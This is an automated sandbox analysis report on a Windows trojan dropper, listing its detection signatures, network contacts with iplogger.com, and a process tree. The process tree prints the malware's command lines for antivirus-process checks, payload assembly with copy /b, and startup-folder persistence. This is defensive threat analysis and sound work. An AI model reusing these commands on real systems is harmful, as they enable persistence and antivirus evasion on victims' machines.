Edit tour

Windows Analysis Report
cW5i0RdQ4L.exe

Overview

General Information

Sample name:	cW5i0RdQ4L.exe renamed because original name is a hash value
Original sample name:	c065ba22909fc8dbded4ea0eebb24ad5.exe
Analysis ID:	1532361
MD5:	c065ba22909fc8dbded4ea0eebb24ad5
SHA1:	b3d61dd7519be3d2909be9ce2d28f65ec7f9965d
SHA256:	9817f4d8bc1374f102196cfcb8a351abdc0563dea60f6084a7525e5ee5409b6d
Tags:	32exetrojan
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Search for Antivirus process

AI detected suspicious sample

Drops PE files with a suspicious file extension

Sigma detected: WScript or CScript Dropper

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE / OLE file has an invalid certificate

Potential key logger detected (key state polling based)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: SCR File Write Event

Sigma detected: Suspicious Screensaver Binary File Creation

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cW5i0RdQ4L.exe (PID: 3752 cmdline: "C:\Users\user\Desktop\cW5i0RdQ4L.exe" MD5: C065BA22909FC8DBDED4EA0EEBB24AD5)

cmd.exe (PID: 2576 cmdline: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6496 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7096 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 6092 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 1632 cmdline: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6640 cmdline: cmd /c md 103495 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

findstr.exe (PID: 5428 cmdline: findstr /V "aroundaccommodategroupseverything" Fine MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6524 cmdline: cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Powder.pif (PID: 2696 cmdline: Powder.pif n MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cmd.exe (PID: 2828 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

choice.exe (PID: 4268 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

wscript.exe (PID: 2228 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

GuardianCryptoElite.scr (PID: 1716 cmdline: "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O" MD5: 18CE19B57F43CE0A5AF149C96AECC685)

cleanup

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine|base64offset|contains: K+-zk, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , ProcessId: 2228, ProcessName: wscript.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: Powder.pif n, CommandLine: Powder.pif n, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2576, ParentProcessName: cmd.exe, ProcessCommandLine: Powder.pif n, ProcessId: 2696, ProcessName: Powder.pif

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ProcessId: 2696, TargetFilename: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\103495\Powder.pif, ProcessId: 2696, TargetFilename: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , CommandLine|base64offset|contains: K+-zk, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" , ProcessId: 2228, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 2828, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Centres Centres.bat & Centres.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 2576, ParentProcessName: cmd.exe, ProcessCommandLine: findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth" , ProcessId: 1632, ProcessName: findstr.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T01:58:08.149906+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	104.21.76.57	443	TCP
2024-10-13T01:58:26.202852+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49750	104.21.76.57	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Virustotal: Detection: 9%			Perma Link
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Virustotal: Detection: 9%			Perma Link

Multi AV Scanner detection for submitted file

Source: cW5i0RdQ4L.exe

Virustotal: Detection: 13%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.2% probability

Source: cW5i0RdQ4L.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.76.57:443 -> 192.168.2.5:49750 version: TLS 1.2

Source: cW5i0RdQ4L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00CE4005
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00CE494A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00CE3CE2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00CEC2FF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00CECD9F
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CECD14 FindFirstFileW,FindClose,	11_2_00CECD14
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00CEF5D8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00CEF735
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00CEFA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00354005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00354005
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0035494A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035C2FF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035CD14 FindFirstFileW,FindClose,	17_2_0035CD14
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0035CD9F
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F5D8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F735
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00353CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353CE2

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495	Jump to behavior

Source: Joe Sandbox View

IP Address: 104.21.76.57 104.21.76.57

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

DNS query: name: iplogger.com

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 104.21.76.57:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49750 -> 104.21.76.57:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CF29BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

11_2_00CF29BA

Source: global traffic	HTTP traffic detected: GET /15RZZ4 HTTP/1.1User-Agent: CuttingHost: iplogger.com
Source: global traffic	HTTP traffic detected: GET /15RZZ4 HTTP/1.1User-Agent: CuttingHost: iplogger.com

Source: global traffic	DNS traffic detected: DNS query: iplogger.com
Source: global traffic	DNS traffic detected: DNS query: SfqIcJOQLLJLIQzEeYKSUBXfTZxPy.SfqIcJOQLLJLIQzEeYKSUBXfTZxPy

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 12 Oct 2024 23:58:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sat, 12 Oct 2024 23:58:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AQr9W3TPG1wuT6ZjpeCHTM0HwSxn9G0h7dRMLHF0ia7zVrBsq3MDrjp87w0RQguC5NhwhVCS3%2Bo0TO0wdlzhy8%2BzNH2AA5LaITDxNnQB3Q5TJoQFRsw5DLT6G22BEkk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8d1b0944a9f541a6-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sat, 12 Oct 2024 23:58:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Sat, 12 Oct 2024 23:58:41 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ch4qTSefLFTWtwYUM37eMOAFNzjtscZkZ27JaH63usGFPA8iwUwD9FqLMHUCmx0FKaJ%2F%2Bk1KVthNbrnq%2BhgzkDuQzBZ4g3mx%2Buij8fpdirnFExvNcIBrku6BNqF794%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8d1b09b57dbf0f6c-EWR

Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, cW5i0RdQ4L.exe, 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, cW5i0RdQ4L.exe, 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000000.2108256575.0000000000D49000.00000002.00000001.01000000.00000006.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3298955040.00000000003B9000.00000002.00000001.01000000.0000000A.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: cW5i0RdQ4L.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Powder.pif, 0000000B.00000002.3300392043.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.00000000010D5000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3299956633.00000000013BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/
Source: GuardianCryptoElite.scr, 00000011.00000002.3299956633.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/):
Source: Powder.pif, 0000000B.00000002.3300392043.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3299840209.000000000135C000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3299877365.000000000138A000.00000004.00000020.00020000.00000000.sdmp, GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4
Source: Powder.pif, 0000000B.00000002.3300392043.0000000003A1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4-
Source: GuardianCryptoElite.scr, 00000011.00000002.3300384260.0000000003D14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4:
Source: Powder.pif, 0000000B.00000002.3299911572.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/15RZZ4GuardianCrypto
Source: GuardianCryptoElite.scr, 00000011.00000002.3299956633.00000000013BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/crosoft
Source: GuardianCryptoElite.scr, 00000011.00000002.3299956633.000000000153B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.com/u:
Source: cW5i0RdQ4L.exe, 00000000.00000003.2070188585.000000000295D000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000002.3299975901.000000000128C000.00000004.00000020.00020000.00000000.sdmp, Powder.pif, 0000000B.00000003.2114333417.0000000003BD8000.00000004.00000800.00020000.00000000.sdmp, GuardianCryptoElite.scr.11.dr, Serious.0.dr, Powder.pif.2.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Powder.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
